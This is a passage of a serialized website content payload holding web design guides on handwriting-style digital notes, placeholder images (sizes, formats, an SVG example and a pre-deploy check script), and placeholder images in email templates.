alternates",[199,167876,167877,167880],{},[216,167878,167879],{},"Too-clean baseline",[216,167881,167882,167883,167886],{},"Apply a subtle CSS ",[143,167884,167885],{},"transform: rotate(-0.5deg)"," to the container",[199,167888,167889,167892],{},[216,167890,167891],{},"Blank paper looks sterile",[216,167893,167894],{},"Add a textured paper background",[199,167896,167897,167900],{},[216,167898,167899],{},"Rigid margins",[216,167901,167902],{},"Offset paragraphs slightly from each other",[11,167904,167906],{"id":167905},"export-formats","Export Formats",[41,167908,167909,167915,167920],{},[44,167910,167911,167914],{},[47,167912,167913],{},"PNG"," — Best for social media and chat apps. Use a transparent or paper-textured background.",[44,167916,167917,167919],{},[47,167918,146923],{}," — Best for printing. Ensures font rendering is consistent across devices.",[44,167921,167922,167925],{},[47,167923,167924],{},"SVG"," — Best for web overlays. Scalable without quality loss.",[11,167927,1355],{"id":1354},[41,167929,167930,167933,167936,167939,167942],{},[44,167931,167932],{},"Digital handwriting combines the personal feel of penmanship with the editability of typed text",[44,167934,167935],{},"Choose casual script fonts for informal notes and formal script for elegant occasions",[44,167937,167938],{},"Paper backgrounds, varied sizing, and slight misalignment make digital handwriting feel authentic",[44,167940,167941],{},"Text-to-handwriting tools are the fastest way to produce handwriting-style output",[44,167943,167944],{},"Contextual alternates and subtle CSS transforms help avoid the uncanny valley effect",[11,167946,286],{"id":285},[16,167948,167949,167950,167952],{},"Create handwriting-style notes instantly with our ",[98,167951,40461],{"href":40899}," tool. Type your message, select a font and paper style, and download the result as an image — ready to share or print.",[11,167954,321],{"id":320},[41,167956,167957,167962],{},[44,167958,167959,167961],{},[98,167960,112552],{"href":40911}," — best script fonts for every project type",[44,167963,167964,167967],{},[98,167965,167966],{"href":40941},"Creative Text Tools"," — overview of tools for transforming plain text",[2043,167969,167970],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":167972},[167973,167974,167975,167980,167986,167991,167992,167993,167994,167995],{"id":167604,"depth":337,"text":167605},{"id":167614,"depth":337,"text":167615},{"id":167682,"depth":337,"text":167683,"children":167976},[167977,167978,167979],{"id":167686,"depth":343,"text":167687},{"id":167702,"depth":343,"text":167703},{"id":167709,"depth":343,"text":167710},{"id":167716,"depth":337,"text":167717,"children":167981},[167982,167983,167984,167985],{"id":167720,"depth":343,"text":167721},{"id":167727,"depth":343,"text":167728},{"id":167734,"depth":343,"text":167735},{"id":167741,"depth":343,"text":167742},{"id":167748,"depth":337,"text":167749,"children":167987},[167988,167989,167990],{"id":167752,"depth":343,"text":167753},{"id":167759,"depth":343,"text":167760},{"id":167766,"depth":343,"text":167767},{"id":167838,"depth":337,"text":167839},{"id":167905,"depth":337,"text":167906},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn how to create personalized, handwriting-style notes digitally. Covers fonts, layout strategies, and tools for making handwritten-looking content on screen.",{"keywords":167998,"immutable":363},[40525,167999],"personalized-notes-digitally","\u002Fguides\u002Fpersonalized-notes-digitally",{"title":167599,"description":167996},"guides\u002Fpersonalized-notes-digitally","1d7L4jJvIG2hFpoM0AQ_I5aiMUkiNLfO2tqlMT3Eflc",{"id":168005,"title":93740,"body":168006,"date":2070,"description":168839,"extension":361,"meta":168840,"navigation":363,"path":93739,"readingTime":1717,"seo":168843,"stem":168844,"__hash__":168845},"guides\u002Fguides\u002Fplaceholder-image-guide.md",{"type":8,"value":168007,"toc":168814},[168008,168012,168015,168018,168022,168025,168029,168032,168036,168039,168043,168049,168053,168056,168060,168063,168139,168143,168146,168189,168193,168196,168240,168243,168247,168250,168350,168361,168365,168368,168373,168378,168384,168439,168443,168447,168450,168454,168457,168461,168464,168604,168608,168611,168615,168618,168761,168763,168788,168790,168796,168798,168812],[11,168009,168011],{"id":168010},"what-are-placeholder-images","What Are Placeholder Images?",[16,168013,168014],{},"Placeholder images — also called dummy images or stock placeholders — are temporary images used during design and development. They fill visual space in wireframes, prototypes, and staging environments before real assets exist. Their job is to represent the size, position, and aspect ratio of final images without requiring finished photography or graphics.",[16,168016,168017],{},"A good placeholder image communicates three things instantly: approximate dimensions, intended context, and whether the slot expects a photo, icon, or illustration.",[11,168019,168021],{"id":168020},"when-to-use-placeholder-images","When to Use Placeholder Images",[16,168023,168024],{},"Placeholder images serve different purposes depending on your project stage. Using them at the right time saves hours of back-and-forth between designers, developers, and content teams.",[33,168026,168028],{"id":168027},"wireframing","Wireframing",[16,168030,168031],{},"In low-fidelity wireframes, placeholders establish layout rhythm. Gray boxes with crosshairs or dimension labels tell stakeholders exactly how much screen space each image occupies. No one gets distracted by actual photo choices.",[33,168033,168035],{"id":168034},"prototyping","Prototyping",[16,168037,168038],{},"Interactive prototypes need visual weight that plain boxes cannot provide. Placeholder images with realistic content — a landscape for a hero banner, a portrait for a team section — help viewers evaluate the design as a cohesive experience rather than a skeleton.",[33,168040,168042],{"id":168041},"development-staging","Development Staging",[16,168044,168045,168046,168048],{},"Developers often build pages before the creative team delivers final assets. Placeholder images prevent broken ",[143,168047,10900],{}," tags and let QA testers verify responsive behavior, lazy loading, and aspect-ratio handling across breakpoints.",[33,168050,168052],{"id":168051},"client-demos","Client Demos",[16,168054,168055],{},"Showing a client a functional prototype with well-chosen placeholders is far more persuasive than blank space. It signals that the layout is intentional and that image slots are sized correctly for real content.",[11,168057,168059],{"id":168058},"static-vs-dynamic-placeholders","Static vs Dynamic Placeholders",[16,168061,168062],{},"You can generate placeholder images in two ways, each with distinct trade-offs.",[193,168064,168065,168077],{},[196,168066,168067],{},[199,168068,168069,168071,168074],{},[202,168070,1234],{},[202,168072,168073],{},"Static (local files)",[202,168075,168076],{},"Dynamic (API services)",[211,168078,168079,168089,168097,168108,168119,168130],{},[199,168080,168081,168083,168086],{},[216,168082,819],{},[216,168084,168085],{},"Instant — served from disk",[216,168087,168088],{},"Depends on network latency",[199,168090,168091,168093,168095],{},[216,168092,160682],{},[216,168094,55046],{},[216,168096,22317],{},[199,168098,168099,168102,168105],{},[216,168100,168101],{},"Realism",[216,168103,168104],{},"You choose the image",[216,168106,168107],{},"Random or themed",[199,168109,168110,168113,168116],{},[216,168111,168112],{},"Reproducibility",[216,168114,168115],{},"Exact same image every time",[216,168117,168118],{},"May change between loads",[199,168120,168121,168124,168127],{},[216,168122,168123],{},"Setup effort",[216,168125,168126],{},"Create or download files",[216,168128,168129],{},"Use a URL pattern",[199,168131,168132,168134,168137],{},[216,168133,61666],{},[216,168135,168136],{},"Production-like staging",[216,168138,51411],{},[33,168140,168142],{"id":168141},"static-examples","Static Examples",[16,168144,168145],{},"Place a PNG or SVG in your project and reference it directly:",[135,168147,168149],{"className":6417,"code":168148,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"\u002Fplaceholders\u002Fhero-16x9.png\"\n     alt=\"Placeholder hero image 1600x900\"\n     width=\"1600\" height=\"900\">\n",[143,168150,168151,168164,168173],{"__ignoreMap":141},[1560,168152,168153,168155,168157,168159,168161],{"class":1562,"line":1563},[1560,168154,6431],{"class":1570},[1560,168156,10628],{"class":2484},[1560,168158,10631],{"class":1566},[1560,168160,7297],{"class":1570},[1560,168162,168163],{"class":5634},"\"\u002Fplaceholders\u002Fhero-16x9.png\"\n",[1560,168165,168166,168168,168170],{"class":1562,"line":337},[1560,168167,10641],{"class":1566},[1560,168169,7297],{"class":1570},[1560,168171,168172],{"class":5634},"\"Placeholder hero image 1600x900\"\n",[1560,168174,168175,168177,168179,168181,168183,168185,168187],{"class":1562,"line":343},[1560,168176,155745],{"class":1566},[1560,168178,7297],{"class":1570},[1560,168180,155491],{"class":5634},[1560,168182,10657],{"class":1566},[1560,168184,7297],{"class":1570},[1560,168186,155498],{"class":5634},[1560,168188,6441],{"class":1570},[33,168190,168192],{"id":168191},"dynamic-examples","Dynamic Examples",[16,168194,168195],{},"URL-based services let you specify dimensions in the path:",[135,168197,168199],{"className":6417,"code":168198,"language":6419,"meta":141,"style":141},"\u003Cimg src=\"https:\u002F\u002Fpicsum.photos\u002F800\u002F600\"\n     alt=\"Random placeholder image 800x600\"\n     width=\"800\" height=\"600\">\n",[143,168200,168201,168214,168223],{"__ignoreMap":141},[1560,168202,168203,168205,168207,168209,168211],{"class":1562,"line":1563},[1560,168204,6431],{"class":1570},[1560,168206,10628],{"class":2484},[1560,168208,10631],{"class":1566},[1560,168210,7297],{"class":1570},[1560,168212,168213],{"class":5634},"\"https:\u002F\u002Fpicsum.photos\u002F800\u002F600\"\n",[1560,168215,168216,168218,168220],{"class":1562,"line":337},[1560,168217,10641],{"class":1566},[1560,168219,7297],{"class":1570},[1560,168221,168222],{"class":5634},"\"Random placeholder image 800x600\"\n",[1560,168224,168225,168227,168229,168232,168234,168236,168238],{"class":1562,"line":343},[1560,168226,155745],{"class":1566},[1560,168228,7297],{"class":1570},[1560,168230,168231],{"class":5634},"\"800\"",[1560,168233,10657],{"class":1566},[1560,168235,7297],{"class":1570},[1560,168237,10654],{"class":5634},[1560,168239,6441],{"class":1570},[16,168241,168242],{},"Dynamic services are convenient for rapid prototyping, but never ship them to production. External dependencies add latency and can go offline.",[11,168244,168246],{"id":168245},"recommended-sizes-by-context","Recommended Sizes by Context",[16,168248,168249],{},"Choosing the right dimensions for placeholder images prevents layout shift when real content arrives. Below are common sizes matched to typical UI contexts.",[193,168251,168252,168264],{},[196,168253,168254],{},[199,168255,168256,168258,168261],{},[202,168257,2973],{},[202,168259,168260],{},"Recommended Size",[202,168262,168263],{},"Aspect Ratio",[211,168265,168266,168277,168288,168298,168308,168319,168328,168339],{},[199,168267,168268,168271,168274],{},[216,168269,168270],{},"Hero banner (desktop)",[216,168272,168273],{},"1600 x 900",[216,168275,168276],{},"16:9",[199,168278,168279,168282,168285],{},[216,168280,168281],{},"Hero banner (mobile)",[216,168283,168284],{},"800 x 600",[216,168286,168287],{},"4:3",[199,168289,168290,168293,168296],{},[216,168291,168292],{},"Blog card thumbnail",[216,168294,168295],{},"400 x 300",[216,168297,168287],{},[199,168299,168300,168303,168306],{},[216,168301,168302],{},"Product card",[216,168304,168305],{},"400 x 400",[216,168307,3986],{},[199,168309,168310,168313,168316],{},[216,168311,168312],{},"Social media share (OG)",[216,168314,168315],{},"1200 x 630",[216,168317,168318],{},"~1.91:1",[199,168320,168321,168323,168326],{},[216,168322,155792],{},[216,168324,168325],{},"200 x 200",[216,168327,3986],{},[199,168329,168330,168333,168336],{},[216,168331,168332],{},"Full-width feature",[216,168334,168335],{},"1920 x 600",[216,168337,168338],{},"~3.2:1",[199,168340,168341,168344,168347],{},[216,168342,168343],{},"App screenshot",[216,168345,168346],{},"375 x 812",[216,168348,168349],{},"9:19.5",[16,168351,168352,168353,1856,168355,168357,168358,168360],{},"Always set explicit ",[143,168354,1870],{},[143,168356,1873],{}," attributes on ",[143,168359,10900],{}," elements. Browsers use these to reserve space before the image loads, eliminating cumulative layout shift (CLS).",[11,168362,168364],{"id":168363},"format-choices-png-svg-or-jpg","Format Choices: PNG, SVG, or JPG",[16,168366,168367],{},"Each format has advantages for placeholder use.",[16,168369,168370,168372],{},[47,168371,167913],{}," — Lossless, supports transparency. Best for UI elements, icons, and any placeholder that needs a transparent background. File sizes are larger than JPG for photographic content.",[16,168374,168375,168377],{},[47,168376,167924],{}," — Vector format, infinitely scalable, tiny file size. Ideal for geometric placeholders like labeled rectangles or aspect-ratio boxes. Not suitable for photographic placeholders.",[16,168379,168380,168383],{},[47,168381,168382],{},"JPG"," — Lossy compression, smallest files for photos. Good when you need a realistic photographic placeholder with minimal bandwidth cost. No transparency support.",[193,168385,168386,168396],{},[196,168387,168388],{},[199,168389,168390,168392,168394],{},[202,168391,149982],{},[202,168393,29335],{},[202,168395,21086],{},[211,168397,168398,168408,168418,168428],{},[199,168399,168400,168403,168405],{},[216,168401,168402],{},"Labeled gray box",[216,168404,167924],{},[216,168406,168407],{},"Scalable, tiny, editable",[199,168409,168410,168413,168415],{},[216,168411,168412],{},"Transparent overlay",[216,168414,167913],{},[216,168416,168417],{},"Alpha channel support",[199,168419,168420,168423,168425],{},[216,168421,168422],{},"Realistic photo",[216,168424,168382],{},[216,168426,168427],{},"Smallest file for photos",[199,168429,168430,168433,168436],{},[216,168431,168432],{},"Icon placeholder",[216,168434,168435],{},"SVG or PNG",[216,168437,168438],{},"SVG scales; PNG for raster icons",[11,168440,168442],{"id":168441},"best-practices-for-realistic-mockups","Best Practices for Realistic Mockups",[33,168444,168446],{"id":168445},"match-aspect-ratios-to-real-content","Match Aspect Ratios to Real Content",[16,168448,168449],{},"If the final images will be portraits, do not use landscape placeholders. Mismatched ratios hide Cropping and alignment issues that surface late in the project.",[33,168451,168453],{"id":168452},"use-context-appropriate-content","Use Context-Appropriate Content",[16,168455,168456],{},"A food-delivery app prototype should use food images, not generic landscapes. Context-appropriate placeholders help stakeholders evaluate whether the design supports the actual content type.",[33,168458,168460],{"id":168459},"include-dimension-labels","Include Dimension Labels",[16,168462,168463],{},"For internal prototypes, overlay the dimensions directly on the placeholder image. This helps developers verify they are using the correct size.",[135,168465,168467],{"className":6417,"code":168466,"language":6419,"meta":141,"style":141},"\u003C!-- SVG placeholder with dimension label -->\n\u003Csvg width=\"800\" height=\"600\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\">\n  \u003Crect width=\"100%\" height=\"100%\" fill=\"#e5e7eb\"\u002F>\n  \u003Ctext x=\"50%\" y=\"50%\" text-anchor=\"middle\"\n        dominant-baseline=\"middle\"\n        font-family=\"monospace\" font-size=\"24\" fill=\"#6b7280\">\n    800 × 600\n  \u003C\u002Ftext>\n\u003C\u002Fsvg>\n",[143,168468,168469,168474,168500,168527,168551,168559,168583,168588,168596],{"__ignoreMap":141},[1560,168470,168471],{"class":1562,"line":1563},[1560,168472,168473],{"class":1649},"\u003C!-- SVG placeholder with dimension label -->\n",[1560,168475,168476,168478,168480,168482,168484,168486,168488,168490,168492,168494,168496,168498],{"class":1562,"line":337},[1560,168477,6431],{"class":1570},[1560,168479,11192],{"class":2484},[1560,168481,10649],{"class":1566},[1560,168483,7297],{"class":1570},[1560,168485,168231],{"class":5634},[1560,168487,10657],{"class":1566},[1560,168489,7297],{"class":1570},[1560,168491,10654],{"class":5634},[1560,168493,12261],{"class":1566},[1560,168495,7297],{"class":1570},[1560,168497,12266],{"class":5634},[1560,168499,6441],{"class":1570},[1560,168501,168502,168504,168506,168508,168510,168512,168514,168516,168518,168520,168522,168525],{"class":1562,"line":343},[1560,168503,11223],{"class":1570},[1560,168505,155513],{"class":2484},[1560,168507,10649],{"class":1566},[1560,168509,7297],{"class":1570},[1560,168511,147826],{"class":5634},[1560,168513,10657],{"class":1566},[1560,168515,7297],{"class":1570},[1560,168517,147826],{"class":5634},[1560,168519,11203],{"class":1566},[1560,168521,7297],{"class":1570},[1560,168523,168524],{"class":5634},"\"#e5e7eb\"",[1560,168526,11237],{"class":1570},[1560,168528,168529,168531,168533,168535,168537,168539,168541,168543,168545,168547,168549],{"class":1562,"line":365},[1560,168530,11223],{"class":1570},[1560,168532,140],{"class":2484},[1560,168534,155543],{"class":1566},[1560,168536,7297],{"class":1570},[1560,168538,155548],{"class":5634},[1560,168540,155551],{"class":1566},[1560,168542,7297],{"class":1570},[1560,168544,155548],{"class":5634},[1560,168546,155558],{"class":1566},[1560,168548,7297],{"class":1570},[1560,168550,155563],{"class":5634},[1560,168552,168553,168555,168557],{"class":1562,"line":889},[1560,168554,155568],{"class":1566},[1560,168556,7297],{"class":1570},[1560,168558,155563],{"class":5634},[1560,168560,168561,168563,168565,168567,168569,168571,168574,168576,168578,168581],{"class":1562,"line":1710},[1560,168562,155577],{"class":1566},[1560,168564,7297],{"class":1570},[1560,168566,156081],{"class":5634},[1560,168568,155585],{"class":1566},[1560,168570,7297],{"class":1570},[1560,168572,168573],{"class":5634},"\"24\"",[1560,168575,11203],{"class":1566},[1560,168577,7297],{"class":1570},[1560,168579,168580],{"class":5634},"\"#6b7280\"",[1560,168582,6441],{"class":1570},[1560,168584,168585],{"class":1562,"line":1717},[1560,168586,168587],{"class":1570},"    800 × 600\n",[1560,168589,168590,168592,168594],{"class":1562,"line":1747},[1560,168591,12331],{"class":1570},[1560,168593,140],{"class":2484},[1560,168595,6441],{"class":1570},[1560,168597,168598,168600,168602],{"class":1562,"line":2507},[1560,168599,11242],{"class":1570},[1560,168601,11192],{"class":2484},[1560,168603,6441],{"class":1570},[33,168605,168607],{"id":168606},"avoid-copyrighted-stock-photos","Avoid Copyrighted Stock Photos",[16,168609,168610],{},"Even in prototypes, using copyrighted images without a license creates legal risk. Use services that offer explicitly free-to-use photos, or generate placeholders programmatically.",[33,168612,168614],{"id":168613},"strip-placeholders-before-launch","Strip Placeholders Before Launch",[16,168616,168617],{},"Add a checklist step: every placeholder image must be replaced before production deployment. Automated checks can scan for common placeholder URLs:",[135,168619,168621],{"className":1607,"code":168620,"language":1609,"meta":141,"style":141},"\u002F\u002F Pre-deploy check for placeholder image URLs\nconst PLACEHOLDER_DOMAINS = ['picsum.photos', 'via.placeholder.com', 'placehold.co']\nconst images = document.querySelectorAll('img[src]')\nconst unreplaced = [...images].filter(img =>\n  PLACEHOLDER_DOMAINS.some(d => img.src.includes(d))\n)\nif (unreplaced.length > 0) {\n  console.error('Unreplaced placeholder images found:', unreplaced)\n}\n",[143,168622,168623,168628,168654,168674,168699,168723,168727,168742,168757],{"__ignoreMap":141},[1560,168624,168625],{"class":1562,"line":1563},[1560,168626,168627],{"class":1649},"\u002F\u002F Pre-deploy check for placeholder image URLs\n",[1560,168629,168630,168632,168635,168637,168639,168642,168644,168647,168649,168652],{"class":1562,"line":337},[1560,168631,8180],{"class":1669},[1560,168633,168634],{"class":1576}," PLACEHOLDER_DOMAINS",[1560,168636,8186],{"class":1669},[1560,168638,39830],{"class":1570},[1560,168640,168641],{"class":5634},"'picsum.photos'",[1560,168643,1459],{"class":1570},[1560,168645,168646],{"class":5634},"'via.placeholder.com'",[1560,168648,1459],{"class":1570},[1560,168650,168651],{"class":5634},"'placehold.co'",[1560,168653,37203],{"class":1570},[1560,168655,168656,168658,168661,168663,168665,168667,168669,168672],{"class":1562,"line":343},[1560,168657,8180],{"class":1669},[1560,168659,168660],{"class":1576}," images",[1560,168662,8186],{"class":1669},[1560,168664,11555],{"class":1570},[1560,168666,11644],{"class":1566},[1560,168668,1688],{"class":1570},[1560,168670,168671],{"class":5634},"'img[src]'",[1560,168673,8252],{"class":1570},[1560,168675,168676,168678,168681,168683,168685,168687,168690,168692,168694,168696],{"class":1562,"line":365},[1560,168677,8180],{"class":1669},[1560,168679,168680],{"class":1576}," unreplaced",[1560,168682,8186],{"class":1669},[1560,168684,39830],{"class":1570},[1560,168686,24388],{"class":1669},[1560,168688,168689],{"class":1570},"images].",[1560,168691,23109],{"class":1566},[1560,168693,1688],{"class":1570},[1560,168695,10628],{"class":2219},[1560,168697,168698],{"class":1669}," =>\n",[1560,168700,168701,168704,168706,168709,168711,168713,168715,168718,168720],{"class":1562,"line":889},[1560,168702,168703],{"class":1576},"  PLACEHOLDER_DOMAINS",[1560,168705,468],{"class":1570},[1560,168707,168708],{"class":1566},"some",[1560,168710,1688],{"class":1570},[1560,168712,27742],{"class":2219},[1560,168714,9378],{"class":1669},[1560,168716,168717],{"class":1570}," img.src.",[1560,168719,27995],{"class":1566},[1560,168721,168722],{"class":1570},"(d))\n",[1560,168724,168725],{"class":1562,"line":1710},[1560,168726,8252],{"class":1570},[1560,168728,168729,168731,168734,168736,168738,168740],{"class":1562,"line":1717},[1560,168730,8052],{"class":1669},[1560,168732,168733],{"class":1570}," (unreplaced.",[1560,168735,9418],{"class":1576},[1560,168737,32916],{"class":1669},[1560,168739,13541],{"class":1576},[1560,168741,9345],{"class":1570},[1560,168743,168744,168746,168749,168751,168754],{"class":1562,"line":1747},[1560,168745,9717],{"class":1570},[1560,168747,168748],{"class":1566},"error",[1560,168750,1688],{"class":1570},[1560,168752,168753],{"class":5634},"'Unreplaced placeholder images found:'",[1560,168755,168756],{"class":1570},", unreplaced)\n",[1560,168758,168759],{"class":1562,"line":2507},[1560,168760,1585],{"class":1570},[11,168762,1355],{"id":1354},[41,168764,168765,168768,168771,168774,168777,168785],{},[44,168766,168767],{},"Placeholder images fill visual space in wireframes, prototypes, and staging before real assets exist",[44,168769,168770],{},"Use static placeholders for production-like environments; dynamic services for quick prototypes",[44,168772,168773],{},"Match aspect ratios and content types to what the final images will be",[44,168775,168776],{},"Include dimension labels on internal placeholders to help developers",[44,168778,168779,168780,1856,168782,168784],{},"Set explicit ",[143,168781,1870],{},[143,168783,1873],{}," attributes to prevent layout shift",[44,168786,168787],{},"Always replace placeholders with licensed, final images before deploying to production",[11,168789,286],{"id":285},[16,168791,168792,168793,168795],{},"Generate placeholder images with exact dimensions using our free ",[98,168794,93567],{"href":93580},". Specify width, height, background color, and text — then download the result instantly.",[11,168797,321],{"id":320},[41,168799,168800,168804,168808],{},[44,168801,168802],{},[98,168803,93746],{"href":93745},[44,168805,168806],{},[98,168807,93261],{"href":93779},[44,168809,168810],{},[98,168811,12173],{"href":12172},[2043,168813,131131],{},{"title":141,"searchDepth":337,"depth":337,"links":168815},[168816,168817,168823,168827,168828,168829,168836,168837,168838],{"id":168010,"depth":337,"text":168011},{"id":168020,"depth":337,"text":168021,"children":168818},[168819,168820,168821,168822],{"id":168027,"depth":343,"text":168028},{"id":168034,"depth":343,"text":168035},{"id":168041,"depth":343,"text":168042},{"id":168051,"depth":343,"text":168052},{"id":168058,"depth":337,"text":168059,"children":168824},[168825,168826],{"id":168141,"depth":343,"text":168142},{"id":168191,"depth":343,"text":168192},{"id":168245,"depth":337,"text":168246},{"id":168363,"depth":337,"text":168364},{"id":168441,"depth":337,"text":168442,"children":168830},[168831,168832,168833,168834,168835],{"id":168445,"depth":343,"text":168446},{"id":168452,"depth":343,"text":168453},{"id":168459,"depth":343,"text":168460},{"id":168606,"depth":343,"text":168607},{"id":168613,"depth":343,"text":168614},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Learn when and how to use placeholder images in design and development. Covers sizes, formats, and best practices for mockups.",{"immutable":363,"keywords":168841},[93777,168842],"placeholder-image-guide",{"title":93740,"description":168839},"guides\u002Fplaceholder-image-guide","Qlw13w8phv_XZFR-8Nx7NaRpj1kY49mURjFQ-OikFyc",{"id":168847,"title":168848,"body":168849,"date":2070,"description":169510,"extension":361,"meta":169511,"navigation":363,"path":169514,"readingTime":1710,"seo":169515,"stem":169516,"__hash__":169517},"guides\u002Fguides\u002Fplaceholder-images-email-templates.md","Placeholder Images for Email Templates: What Works Across Clients",{"type":8,"value":168850,"toc":169495},[168851,168855,168861,168864,168868,168926,168930,168936,168998,169002,169028,169032,169101,169104,169108,169111,169189,169199,169203,169206,169333,169340,169344,169347,169402,169407,169411,169414,169434,169440,169442,169468,169470,169476,169478,169492],[11,168852,168854],{"id":168853},"email-rendering-is-not-the-web","Email Rendering Is Not the Web",[16,168856,168857,168858,168860],{},"Email clients do not render HTML like browsers. Outlook uses Word's rendering engine. Gmail strips ",[143,168859,41299],{}," blocks. Yahoo has its own CSS quirks. This matters for placeholder images because the techniques that work on the web — inline SVG, data URIs, CSS backgrounds — often fail in email.",[16,168862,168863],{},"When designing email templates, placeholder images must follow the most constrained environment in your target client list.",[11,168865,168867],{"id":168866},"what-does-not-work-in-email","What Does Not Work in Email",[193,168869,168870,168878],{},[196,168871,168872],{},[199,168873,168874,168876],{},[202,168875,52178],{},[202,168877,27730],{},[211,168879,168880,168889,168899,168908,168916],{},[199,168881,168882,168886],{},[216,168883,11348,168884],{},[143,168885,10910],{},[216,168887,168888],{},"Stripped by most email clients",[199,168890,168891,168896],{},[216,168892,168893,168894],{},"Data URI in ",[143,168895,87323],{},[216,168897,168898],{},"Blocked by Gmail, Outlook",[199,168900,168901,168905],{},[216,168902,31366,168903],{},[143,168904,12578],{},[216,168906,168907],{},"Ignored by Outlook (Word engine)",[199,168909,168910,168913],{},[216,168911,168912],{},"External SVG file",[216,168914,168915],{},"Mostly blocked",[199,168917,168918,168923],{},[216,168919,168920,168922],{},[143,168921,155841],{}," element",[216,168924,168925],{},"Partial support, unreliable",[11,168927,168929],{"id":168928},"what-does-work","What Does Work",[16,168931,168932,168933,168935],{},"The only reliable approach for images in email is a standard ",[143,168934,10900],{}," tag pointing to an externally hosted image file:",[135,168937,168939],{"className":6417,"code":168938,"language":6419,"meta":141,"style":141},"\u003Cimg\n  src=\"https:\u002F\u002Fcdn.example.com\u002Fplaceholder-600x300.jpg\"\n  width=\"600\"\n  height=\"300\"\n  alt=\"Product image placeholder\"\n  style=\"display:block; width:100%; max-width:600px; height:auto;\"\n\u002F>\n",[143,168940,168941,168948,168957,168966,168975,168984,168994],{"__ignoreMap":141},[1560,168942,168943,168945],{"class":1562,"line":1563},[1560,168944,6431],{"class":1570},[1560,168946,168947],{"class":2484},"img\n",[1560,168949,168950,168952,168954],{"class":1562,"line":337},[1560,168951,130162],{"class":1566},[1560,168953,7297],{"class":1570},[1560,168955,168956],{"class":5634},"\"https:\u002F\u002Fcdn.example.com\u002Fplaceholder-600x300.jpg\"\n",[1560,168958,168959,168961,168963],{"class":1562,"line":343},[1560,168960,12386],{"class":1566},[1560,168962,7297],{"class":1570},[1560,168964,168965],{"class":5634},"\"600\"\n",[1560,168967,168968,168970,168972],{"class":1562,"line":365},[1560,168969,12400],{"class":1566},[1560,168971,7297],{"class":1570},[1560,168973,168974],{"class":5634},"\"300\"\n",[1560,168976,168977,168980,168982],{"class":1562,"line":889},[1560,168978,168979],{"class":1566},"  alt",[1560,168981,7297],{"class":1570},[1560,168983,155740],{"class":5634},[1560,168985,168986,168989,168991],{"class":1562,"line":1710},[1560,168987,168988],{"class":1566},"  style",[1560,168990,7297],{"class":1570},[1560,168992,168993],{"class":5634},"\"display:block; width:100%; max-width:600px; height:auto;\"\n",[1560,168995,168996],{"class":1562,"line":1717},[1560,168997,11237],{"class":1570},[33,168999,169001],{"id":169000},"key-attributes","Key Attributes",[41,169003,169004,169010,169016,169022],{},[44,169005,169006,169009],{},[47,169007,169008],{},"width and height",": Explicit pixel dimensions prevent layout shift while images load — critical in email where slow connections are common",[44,169011,169012,169015],{},[47,169013,169014],{},"style=\"display:block\"",": Removes the unwanted gap below inline images in some clients",[44,169017,169018,169021],{},[47,169019,169020],{},"style=\"width:100%; max-width:600px; height:auto\"",": Enables responsive scaling while capping the maximum size",[44,169023,169024,169027],{},[47,169025,169026],{},"alt text",": Shows when images are blocked (default in many email clients)",[11,169029,169031],{"id":169030},"placeholder-image-sizes-for-common-email-layouts","Placeholder Image Sizes for Common Email Layouts",[193,169033,169034,169044],{},[196,169035,169036],{},[199,169037,169038,169040,169042],{},[202,169039,3041],{},[202,169041,168260],{},[202,169043,2683],{},[211,169045,169046,169057,169068,169079,169090],{},[199,169047,169048,169051,169054],{},[216,169049,169050],{},"Full-width hero",[216,169052,169053],{},"600 × 300 px",[216,169055,169056],{},"Standard email width is 600px",[199,169058,169059,169062,169065],{},[216,169060,169061],{},"Two-column image",[216,169063,169064],{},"280 × 200 px",[216,169066,169067],{},"280px per column with gutters",[199,169069,169070,169073,169076],{},[216,169071,169072],{},"Three-column image",[216,169074,169075],{},"180 × 140 px",[216,169077,169078],{},"180px per column",[199,169080,169081,169084,169087],{},[216,169082,169083],{},"Product thumbnail",[216,169085,169086],{},"200 × 200 px",[216,169088,169089],{},"Square format",[199,169091,169092,169095,169098],{},[216,169093,169094],{},"Banner ad slot",[216,169096,169097],{},"600 × 100 px",[216,169099,169100],{},"Short banner",[16,169102,169103],{},"Always export at 2x resolution for retina displays. A 600px-wide hero should be saved as 1200px wide.",[11,169105,169107],{"id":169106},"alt-text-as-fallback-content","Alt Text as Fallback Content",[16,169109,169110],{},"Many email clients block images by default. The alt text becomes your content:",[135,169112,169114],{"className":6417,"code":169113,"language":6419,"meta":141,"style":141},"\u003C!-- Bad: invisible when images blocked -->\n\u003Cimg src=\"https:\u002F\u002Fcdn.example.com\u002Fhero.jpg\" alt=\"Image\" \u002F>\n\n\u003C!-- Good: communicates value without images -->\n\u003Cimg\n  src=\"https:\u002F\u002Fcdn.example.com\u002Fhero.jpg\"\n  alt=\"Summer Sale — 40% off allOutdoor Gear.Shop Now\"\n  style=\"display:block; width:100%; max-width:600px; height:auto; color:#1E293B; font-size:16px; 